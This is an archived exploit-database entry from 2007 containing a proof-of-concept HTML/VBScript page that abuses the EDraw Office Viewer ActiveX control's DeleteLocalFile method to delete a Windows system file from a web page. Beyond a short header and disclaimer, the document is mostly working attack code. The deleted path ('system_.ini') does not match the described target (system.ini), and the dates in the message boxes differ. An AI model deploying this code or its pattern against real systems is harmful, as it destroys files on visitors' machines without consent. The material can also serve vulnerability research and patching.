EDraw Office Viewer Component - Unsafe Method

EDB-ID:

4010


Author:

shinnai

Type:

remote


Platform:

Windows

Date:

2007-05-30


<pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/28</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------------------------
 <b>EDraw Office Viewer Component (edrawofficeviewer.ocx v. 4.0.5.20) Unsafe Method Vulnerability</b>
 url: http://www.ocxt.com/officeviewer.php

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org
 
 This was written for educational purpose. Use it at your own risk.
 Author will be not be responsible for any damage.
 
 <b><font color="#FF0000">THE EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY OF
 IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!</font></b>

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to this exploits.

 This ActiveX is marked as:
 RegKey Safe for Script: True
 RegKey Safe for Init: True
 KillBitSet: False
-----------------------------------------------------------------------------------------------

<object classid='clsid:053AFEBA-D968-435F-B557-19FF76372B1B' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  On Error Resume Next
   Dim MyMsg
   If(MsgBox("This was written for educational purpose. Use it at your own risk." & vbCrLf & _
             "Author will be not be responsible for any damage." & vbCrLf & vbCrLf & _
             "THIS EXPLOIT WILL DELETE THE system.ini FILE SO BE SURE TO MAKE A COPY" & _
             " OF IT BEFORE RUN THIS EXPLOIT OR YOUR PC WILL NOT RESTART!" & VBcRlF & "ARE YOU" & _
             " SURE YOU REALLY WANT TO RUN THIS EXPLOIT?",4)=vbYes) Then
    test.DeleteLocalFile "c:\windows\system_.ini"
    MyMsg = MsgBox ("Check now the file system.ini" & vbCrLf & "It's deleted.", 64,"2007/05/21 - EDraw Office Viewer Component")
   Else
    MyMsg = MsgBox ("Nice, be safe!", 64, "2007/05/28 - EDraw Office Viewer Component")
   End If 
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-30]